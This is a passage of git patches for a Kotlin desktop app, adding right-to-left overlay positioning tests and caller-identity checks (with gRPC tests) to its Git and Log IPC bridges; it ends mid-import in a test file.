2f diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt index f6edaa6116..28d32ee38d 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt @@ -1,7 +1,12 @@ package ai.rever.boss.components.overlays +import ai.rever.boss.components.window_panel.components.main_window_panels.besideLeadingRail +import androidx.compose.ui.AbsoluteAlignment import androidx.compose.ui.Alignment +import androidx.compose.ui.BiasAlignment import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import kotlin.test.Test import kotlin.test.assertEquals @@ -33,6 +38,12 @@ class HeavyweightCornerTest { assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopStart)) } + @Test + fun `start and end follow right to left layout direction`() { + assertEquals(668 to 50, cornerPosition(parent, size, Alignment.TopStart, LayoutDirection.Rtl)) + assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopEnd, LayoutDirection.Rtl)) + } + @Test fun `bottom end offsets by both slacks`() { assertEquals(668 to 650, cornerPosition(parent, size, Alignment.BottomEnd)) @@ -43,6 +54,13 @@ class HeavyweightCornerTest { assertEquals(384 to 350, cornerPosition(parent, size, Alignment.Center)) } + @Test + fun `fractional sizes round instead of clipping a pixel`() { + val fractional = DpSize(432.6.dp, 200.6.dp) + + assertEquals(667 to 649, cornerPosition(parent, fractional, Alignment.BottomEnd)) + } + @Test fun `content larger than the parent overhangs bottom-right rather than escaping top-left`() { // A negative slack would put the toast above and left of the window, where it is off screen @@ -154,4 +172,42 @@ class HeavyweightCornerTest { // the only available bound - the same choice the previous clamp made. assertEquals(DpSize(432.dp, 600.dp), regionCeiling(null, DpSize(432.dp, 600.dp))) } + + @Test + fun `RTL end inset moves the left edge and preserves the right edge`() { + val region = resolveRegion(parent, DpSize(48.dp, 24.dp), null, LayoutDirection.Rtl) + assertEquals(listOf(148, 50, 952, 776), region?.toList()) + assertEquals(148 to 626, cornerPosition(region, size, Alignment.BottomEnd, LayoutDirection.Rtl)) + assertEquals(668 to 50, cornerPosition(region, size, Alignment.TopStart, LayoutDirection.Rtl)) + } + + @Test + fun `RTL drawer stays beside the retained right rail within the explicit panel`() { + val panel = IntRect(40, 12, 520, 612).besideLeadingRail(36.dp, LayoutDirection.Rtl) + assertEquals(IntRect(40, 12, 484, 612), panel) + val region = resolveRegion(parent, DpSize.Zero, panel, LayoutDirection.Rtl) + assertEquals(384 to 62, cornerPosition(region, DpSize(200.dp, 100.dp), Alignment.TopStart, LayoutDirection.Rtl)) + val narrow = IntRect(40, 12, 50, 612).besideLeadingRail(36.dp, LayoutDirection.Rtl) + assertEquals(narrow.left, narrow.right) + } + + @Test + fun `RTL oversized content clamps inside the inset region`() { + val region = insetBounds(parent, DpSize(48.dp, 24.dp), LayoutDirection.Rtl) + val huge = DpSize(2000.dp, 2000.dp) + assertEquals(148 to 50, cornerPosition(region, huge, Alignment.TopStart, LayoutDirection.Rtl)) + assertEquals(148 to 50, cornerPosition(region, huge, Alignment.BottomEnd, LayoutDirection.Rtl)) + } + + @Test + fun `absolute alignment does not mirror and custom bias is honored`() { + assertEquals(100 to 50, cornerPosition(parent, size, AbsoluteAlignment.TopLeft, LayoutDirection.Rtl)) + assertEquals(526 to 350, cornerPosition(parent, size, BiasAlignment(0.5f, 0f))) + } + + @Test + fun `odd center slack and fractional round down follow Compose`() { + assertEquals(385 to 350, cornerPosition(intArrayOf(100, 50, 1001, 800), size, Alignment.Center)) + assertEquals(668 to 650, cornerPosition(parent, DpSize(432.4.dp, 200.4.dp), Alignment.BottomEnd)) + } } From 6b20b4c705d2839bdfd5dcf09c6ce86e8fe40829 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:54:44 +0530 Subject: [PATCH 23/28] fix(kernel): require verified caller identity for the Git bridge (#635) * fix(kernel): require verified caller identity for the Git bridge GitServiceBridge had no caller-identity check on any of its fourteen RPCs. Any process able to open a connection to the kernel IPC server - not only the plugins the host itself loaded - could read the open project's full commit history and working-tree status, and could discardChanges (destroying uncommitted work), checkout, cherryPick or revert against the project's real git repository with no credential at all. Gate every RPC behind authenticatedCallerOrRefuse(), the same PERMISSION_DENIED-on-no-identity pattern PluginUIServiceBridge established for BossConsole#53. The four watch streams (file status, commit log, is-repo, is-loading) capture identity synchronously before returning and re-check it on every emission, so a revoked token stops a live stream rather than only new calls - matching the shape PR #550's review settled on for this bridge's siblings. * style(tests): wrap chained builder calls in GitServiceBridgeTest Real CI's ktlintDesktopTestSourceSetCheck flagged chain-method-continuation violations (a local run had missed this) - wrap the affected builder chains onto their own lines, per ktlintFormat. No behavior change. * test(kernel): cover revoked callers and log stream refusals --------- Co-authored-by: Shivang --- .../boss/kernel/services/GitServiceBridge.kt | 141 ++++++-- .../kernel/services/GitServiceBridgeTest.kt | 303 ++++++++++++++++++ 2 files changed, 425 insertions(+), 19 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt index 51584df806..bdc533ca0c 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt @@ -1,18 +1,43 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.Empty import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.GitDataProvider import ai.rever.boss.plugin.api.GitOperationResultData +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow +/** + * Kernel-side bridge for `GitService`. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. Stream revocation is checked + * before each emission; an idle revoked stream is not proactively disconnected. Before this, any process able to + * open a connection to the kernel IPC server - not only the plugins the host itself loaded - + * could read the open project's full commit history and working-tree status, and could + * [discardChanges] (destroying uncommitted work), [checkout], [cherryPick] or [revert] against + * the project's real git repository with no credential at all. + */ +// One method per RPC the generated service base class declares, plus one small private helper. +@Suppress("TooManyFunctions") class GitServiceBridge( private val provider: GitDataProvider, ) : GitServiceGrpcKt.GitServiceCoroutineImplBase() { - override fun watchFileStatus(request: Empty): Flow = - flow { + override fun watchFileStatus(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchFileStatus") provider.fileStatus.collect { statuses -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchFileStatus") + } emit( GitFileStatusListResponse .newBuilder() @@ -31,10 +56,18 @@ class GitServiceBridge( ) } } + } - override fun watchCommitLog(request: Empty): Flow = - flow { + override fun watchCommitLog(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchCommitLog") provider.commitLog.collect { commits -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchCommitLog") + } emit( GitCommitLogResponse .newBuilder() @@ -55,59 +88,123 @@ class GitServiceBridge( ) } } + } - override fun watchIsGitRepo(request: Empty): Flow = - flow { + override fun watchIsGitRepo(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchIsGitRepo") provider.isGitRepository.collect { isRepo -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchIsGitRepo") + } emit(BoolResponse.newBuilder().setValue(isRepo).build()) } } + } - override fun watchIsLoading(request: Empty): Flow = - flow { + override fun watchIsLoading(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchIsLoading") provider.isLoading.collect { loading -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchIsLoading") + } emit(BoolResponse.newBuilder().setValue(loading).build()) } } + } override suspend fun refreshStatus(request: Empty): Empty { + authenticatedCallerOrRefuse("refreshStatus") provider.refreshStatus() return Empty.getDefaultInstance() } override suspend fun refreshLog(request: RefreshLogRequest): Empty { + authenticatedCallerOrRefuse("refreshLog") provider.refreshLog(request.limit) return Empty.getDefaultInstance() } - override suspend fun stage(request: GitFilePathRequest): GitOperationResultProto = provider.stage(request.path).toProto() + override suspend fun stage(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("stage") + return provider.stage(request.path).toProto() + } - override suspend fun unstage(request: GitFilePathRequest): GitOperationResultProto = provider.unstage(request.path).toProto() + override suspend fun unstage(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("unstage") + return provider.unstage(request.path).toProto() + } - override suspend fun stageAll(request: Empty): GitOperationResultProto = provider.stageAll().toProto() + override suspend fun stageAll(request: Empty): GitOperationResultProto { + authenticatedCallerOrRefuse("stageAll") + return provider.stageAll().toProto() + } - override suspend fun unstageAll(request: Empty): GitOperationResultProto = provider.unstageAll().toProto() + override suspend fun unstageAll(request: Empty): GitOperationResultProto { + authenticatedCallerOrRefuse("unstageAll") + return provider.unstageAll().toProto() + } - override suspend fun discardChanges(request: GitFilePathRequest): GitOperationResultProto = - provider.discardChanges(request.path).toProto() + override suspend fun discardChanges(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("discardChanges") + return provider.discardChanges(request.path).toProto() + } - override suspend fun cherryPick(request: GitHashRequest): GitOperationResultProto = provider.cherryPick(request.hash).toProto() + override suspend fun cherryPick(request: GitHashRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("cherryPick") + return provider.cherryPick(request.hash).toProto() + } - override suspend fun revert(request: GitHashRequest): GitOperationResultProto = provider.revert(request.hash).toProto() + override suspend fun revert(request: GitHashRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("revert") + return provider.revert(request.hash).toProto() + } - override suspend fun checkout(request: GitRefRequest): GitOperationResultProto = provider.checkout(request.ref).toProto() + override suspend fun checkout(request: GitRefRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("checkout") + return provider.checkout(request.ref).toProto() + } - override suspend fun getCurrentProjectPath(request: Empty): StringResponse = - StringResponse + override suspend fun getCurrentProjectPath(request: Empty): StringResponse { + authenticatedCallerOrRefuse("getCurrentProjectPath") + return StringResponse .newBuilder() .setValue(provider.getCurrentProjectPath() ?: "") .build() + } override suspend fun openFile(request: GitOpenFileRequest): Empty { + authenticatedCallerOrRefuse("openFile") provider.openFile(request.filePath, request.windowId) return Empty.getDefaultInstance() } + /** + * Unary RPCs only: the verified per-call identity, or `PERMISSION_DENIED`. + * Streams must capture CURRENT_IDENTITY synchronously and recheck it before each emission. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: refuseIdentity(rpc) + + private fun refuseIdentity(rpc: String): Nothing { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no current verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + private fun GitOperationResultData.toProto(): GitOperationResultProto = when (this) { is GitOperationResultData.Success -> { @@ -126,4 +223,10 @@ class GitServiceBridge( .build() } } + + private companion object { + val logger = BossLogger.forComponent("GitServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt new file mode 100644 index 0000000000..fcd23b74cb --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt @@ -0,0 +1,303 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.Empty +import ai.rever.boss.ipc.proto.services.GitFilePathRequest +import ai.rever.boss.ipc.proto.services.GitHashRequest +import ai.rever.boss.ipc.proto.services.GitOpenFileRequest +import ai.rever.boss.ipc.proto.services.GitRefRequest +import ai.rever.boss.ipc.proto.services.GitServiceGrpcKt +import ai.rever.boss.ipc.proto.services.RefreshLogRequest +import ai.rever.boss.plugin.api.GitCommitInfoData +import ai.rever.boss.plugin.api.GitDataProvider +import ai.rever.boss.plugin.api.GitFileStatusData +import ai.rever.boss.plugin.api.GitOperationResultData +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.async +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.take +import kotlinx.coroutines.flow.toList +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.supervisorScope +import kotlinx.coroutines.withTimeout +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * The Git bridge, exercised over a real gRPC server (BossConsole#53). + * + * Before this bridge checked identity, any process able to open a connection to the kernel IPC + * server - not only the plugins the host itself loaded - could read the open project's full + * commit history and working-tree status, and could [GitServiceBridge.discardChanges] (destroying + * uncommitted work), [GitServiceBridge.checkout], [GitServiceBridge.cherryPick] or + * [GitServiceBridge.revert] against the real repository with no credential at all. + */ +class GitServiceBridgeTest { + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var provider: FakeGitDataProvider + private lateinit var server: Server + private lateinit var authenticatedChannel: ManagedChannel + private lateinit var anonymousChannel: ManagedChannel + private lateinit var authenticated: GitServiceGrpcKt.GitServiceCoroutineStub + private lateinit var anonymous: GitServiceGrpcKt.GitServiceCoroutineStub + + @BeforeTest + fun setUp() { + tokenRegistry = ProcessTokenRegistry() + provider = FakeGitDataProvider() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(GitServiceBridge(provider)) + .build() + .start() + authenticatedChannel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + anonymousChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + authenticated = GitServiceGrpcKt.GitServiceCoroutineStub(authenticatedChannel) + anonymous = GitServiceGrpcKt.GitServiceCoroutineStub(anonymousChannel) + } + + @AfterTest + fun tearDown() { + authenticatedChannel.shutdownNow() + authenticatedChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + anonymousChannel.shutdownNow() + anonymousChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + @Test + fun `every RPC is refused with no credential, and never reaches the repository`() = + runBlocking { + assertRefused { anonymous.watchFileStatus(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchCommitLog(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchIsGitRepo(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchIsLoading(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.refreshStatus(Empty.getDefaultInstance()) } + assertRefused { anonymous.refreshLog(RefreshLogRequest.newBuilder().setLimit(10).build()) } + assertRefused { anonymous.stage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.unstage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.stageAll(Empty.getDefaultInstance()) } + assertRefused { anonymous.unstageAll(Empty.getDefaultInstance()) } + assertRefused { anonymous.discardChanges(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.cherryPick(GitHashRequest.newBuilder().setHash("abc123").build()) } + assertRefused { anonymous.revert(GitHashRequest.newBuilder().setHash("abc123").build()) } + assertRefused { anonymous.checkout(GitRefRequest.newBuilder().setRef("main").build()) } + assertRefused { anonymous.getCurrentProjectPath(Empty.getDefaultInstance()) } + assertRefused { + anonymous.openFile( + GitOpenFileRequest + .newBuilder() + .setFilePath("a.kt") + .setWindowId("w1") + .build(), + ) + } + + assertTrue(provider.calls.isEmpty(), "a refused call must never reach the repository provider") + } + + @Test + fun `an authenticated caller can watch status and read the repository`() = + runBlocking { + provider.setFileStatus(listOf(fileStatus("a.kt"))) + provider.setCommitLog(listOf(commit("abc123"))) + provider.projectPath = "/repo" + + val status = + authenticated + .watchFileStatus(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("a.kt", status.filesList.single().path) + + val log = + authenticated + .watchCommitLog(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("abc123", log.commitsList.single().hash) + + val path = authenticated.getCurrentProjectPath(Empty.getDefaultInstance()) + assertEquals("/repo", path.value) + } + + @Test + fun `an authenticated caller can mutate the repository`() = + runBlocking { + authenticated.stage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) + authenticated.checkout(GitRefRequest.newBuilder().setRef("main").build()) + authenticated.discardChanges(GitFilePathRequest.newBuilder().setPath("a.kt").build()) + + assertEquals(listOf("stage:a.kt", "checkout:main", "discardChanges:a.kt"), provider.calls) + } + + @Test + fun `revoked credentials cannot invoke a unary operation`() = + runBlocking { + tokenRegistry.revoke(CALLER) + val failure = assertFailsWith { authenticated.stageAll(Empty.getDefaultInstance()) } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `revoked watcher cannot receive a later snapshot`() = + runBlocking { + withTimeout(10_000) { + supervisorScope { + val received = Channel(Channel.UNLIMITED) + val watching = + async { + authenticated.watchFileStatus(Empty.getDefaultInstance()).collect { received.send(Unit) } + } + try { + received.receive() + tokenRegistry.revoke(CALLER) + provider.setFileStatus(listOf(fileStatus("after-revocation.kt"))) + val failure = assertFailsWith { watching.await() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(received.tryReceive().isFailure, "revocation must prevent the next snapshot") + } finally { + watching.cancel() + received.close() + } + } + } + } + + private suspend fun assertRefused(call: suspend () -> Unit) { + val failure = assertFailsWith { call() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + } + + private fun fileStatus(path: String): GitFileStatusData = + GitFileStatusData( + path = path, + indexStatus = null, + workTreeStatus = null, + isStaged = false, + isUnstaged = true, + ) + + private fun commit(hash: String): GitCommitInfoData = + GitCommitInfoData( + hash = hash, + shortHash = hash.take(7), + subject = "subject", + author = "author", + authorEmail = "author@example.com", + date = 0L, + refs = emptyList(), + ) + + /** Records every method it was actually asked to perform, so a refusal can be proven silent. */ + private class FakeGitDataProvider : GitDataProvider { + val calls = mutableListOf() + var projectPath: String? = null + private val _fileStatus = MutableStateFlow>(emptyList()) + override val fileStatus: StateFlow> = _fileStatus + private val _commitLog = MutableStateFlow>(emptyList()) + override val commitLog: StateFlow> = _commitLog + private val _isGitRepository = MutableStateFlow(true) + override val isGitRepository: StateFlow = _isGitRepository + private val _isLoading = MutableStateFlow(false) + override val isLoading: StateFlow = _isLoading + + fun setFileStatus(statuses: List) { + _fileStatus.value = statuses + } + + fun setCommitLog(commits: List) { + _commitLog.value = commits + } + + override suspend fun refreshStatus() { + calls += "refreshStatus" + } + + override suspend fun refreshLog(limit: Int) { + calls += "refreshLog" + } + + override suspend fun stage(filePath: String): GitOperationResultData { + calls += "stage:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun unstage(filePath: String): GitOperationResultData { + calls += "unstage:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun stageAll(): GitOperationResultData { + calls += "stageAll" + return GitOperationResultData.Success(null) + } + + override suspend fun unstageAll(): GitOperationResultData { + calls += "unstageAll" + return GitOperationResultData.Success(null) + } + + override suspend fun discardChanges(filePath: String): GitOperationResultData { + calls += "discardChanges:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun cherryPick(commitHash: String): GitOperationResultData { + calls += "cherryPick:$commitHash" + return GitOperationResultData.Success(null) + } + + override suspend fun revert(commitHash: String): GitOperationResultData { + calls += "revert:$commitHash" + return GitOperationResultData.Success(null) + } + + override suspend fun checkout(ref: String): GitOperationResultData { + calls += "checkout:$ref" + return GitOperationResultData.Success(null) + } + + override fun getCurrentProjectPath(): String? { + calls += "getCurrentProjectPath" + return projectPath + } + + override fun openFile( + filePath: String, + windowId: String, + ) { + calls += "openFile:$filePath" + } + } + + private companion object { + const val CALLER = "git-panel-plugin" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} From 5808033ffb5c35a19277b5ee5c3587e3182c1032 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:55:35 +0530 Subject: [PATCH 24/28] fix(kernel): require verified caller identity for the Log bridge (#645) * fix(kernel): require verified caller identity for the Log bridge LogServiceBridge had no caller-identity check on any of its nine RPCs. Any process able to open a connection to the kernel IPC server - not only the plugins the host itself loaded - could watchLogs to see the live stdout/stderr stream of the running BOSS process, or call exportLogs to pull its full history, with no credential at all. Unlike a bridge whose values are deliberately routed through LogSanitizer at the call site, nothing about this stream is scrubbed for IPC exposure - it is whatever every logger.info/warn/error call site across this large and growing codebase happened to write, which is not a guarantee that none of it is a stack trace, a file path, or something else nobody meant to expose to an arbitrary local process. Gate every RPC behind authenticatedCallerOrRefuse(), the same PERMISSION_DENIED-on-no-identity pattern PluginUIServiceBridge established for BossConsole#53. The four watch streams capture identity synchronously before returning and re-check it on every emission, matching the shape PR #550's review settled on for this bridge's siblings. * test(kernel): verify revocation and diagnose stream refusals --------- Co-authored-by: Shivang --- .../boss/kernel/services/LogServiceBridge.kt | 99 ++++++++- .../kernel/services/LogServiceBridgeTest.kt | 207 ++++++++++++++++++ 2 files changed, 298 insertions(+), 8 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt index 2e76c2fc93..21ca81fd0a 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt @@ -1,18 +1,47 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.Empty import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.LogDataProvider import ai.rever.boss.plugin.api.LogFilterData +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow +/** + * Revocation is checked before each emission; idle streams are not proactively disconnected. + * + * Kernel-side bridge for `LogService`. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. [watchLogs] and [exportLogs] are why + * this matters more than most of this bridge's siblings: they hand out the live and full-history + * stdout/stderr stream of the running BOSS process, unfiltered by anything short of what each + * individual `logger.info`/`warn`/`error` call site happened to sanitize on its own - not a + * guarantee that every line in a large, ever-growing codebase is free of stack traces, file paths + * or other data nobody meant to expose over IPC. Before this bridge checked identity at all, any + * process able to open a connection to the kernel IPC server - not only the plugins the host + * itself loaded - could watch or export it. + */ +// One method per RPC the generated service base class declares, plus one small private helper. +@Suppress("TooManyFunctions") class LogServiceBridge( private val provider: LogDataProvider, ) : LogServiceGrpcKt.LogServiceCoroutineImplBase() { - override fun watchLogs(request: Empty): Flow = - flow { + override fun watchLogs(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchLogs") provider.logs.collect { logs -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchLogs") + } emit( LogListResponse .newBuilder() @@ -33,10 +62,18 @@ class LogServiceBridge( ) } } + } - override fun watchFilter(request: Empty): Flow = - flow { + override fun watchFilter(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchFilter") provider.filter.collect { filter -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchFilter") + } emit( LogFilterProto .newBuilder() @@ -50,22 +87,40 @@ class LogServiceBridge( ) } } + } - override fun watchSearchQuery(request: Empty): Flow = - flow { + override fun watchSearchQuery(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchSearchQuery") provider.searchQuery.collect { query -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchSearchQuery") + } emit(LogStringResponse.newBuilder().setValue(query).build()) } } + } - override fun watchAutoScroll(request: Empty): Flow = - flow { + override fun watchAutoScroll(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchAutoScroll") provider.autoScroll.collect { enabled -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchAutoScroll") + } emit(LogBoolResponse.newBuilder().setValue(enabled).build()) } } + } override suspend fun setFilter(request: LogFilterProto): Empty { + authenticatedCallerOrRefuse("setFilter") val filter = when (request.filter) { LogFilterType.LOG_FILTER_TYPE_STDOUT -> LogFilterData.STDOUT @@ -77,22 +132,50 @@ class LogServiceBridge( } override suspend fun setSearchQuery(request: LogStringRequest): Empty { + authenticatedCallerOrRefuse("setSearchQuery") provider.setSearchQuery(request.value) return Empty.getDefaultInstance() } override suspend fun toggleAutoScroll(request: Empty): Empty { + authenticatedCallerOrRefuse("toggleAutoScroll") provider.toggleAutoScroll() return Empty.getDefaultInstance() } override suspend fun clearLogs(request: Empty): Empty { + authenticatedCallerOrRefuse("clearLogs") provider.clearLogs() return Empty.getDefaultInstance() } override suspend fun exportLogs(request: Empty): LogStringResponse { + authenticatedCallerOrRefuse("exportLogs") val result = provider.exportLogs() return LogStringResponse.newBuilder().setValue(result).build() } + + /** + * Unary RPCs only: the verified identity, or a thrown `PERMISSION_DENIED` when there is none. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: refuseIdentity(rpc) + + private fun refuseIdentity(rpc: String): Nothing { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no current verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + + private companion object { + val logger = BossLogger.forComponent("LogServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt new file mode 100644 index 0000000000..0ba6571753 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt @@ -0,0 +1,207 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.Empty +import ai.rever.boss.ipc.proto.services.LogFilterProto +import ai.rever.boss.ipc.proto.services.LogServiceGrpcKt +import ai.rever.boss.ipc.proto.services.LogStringRequest +import ai.rever.boss.plugin.api.LogDataProvider +import ai.rever.boss.plugin.api.LogEntryData +import ai.rever.boss.plugin.api.LogFilterData +import ai.rever.boss.plugin.api.LogSourceData +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.async +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.take +import kotlinx.coroutines.flow.toList +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.supervisorScope +import 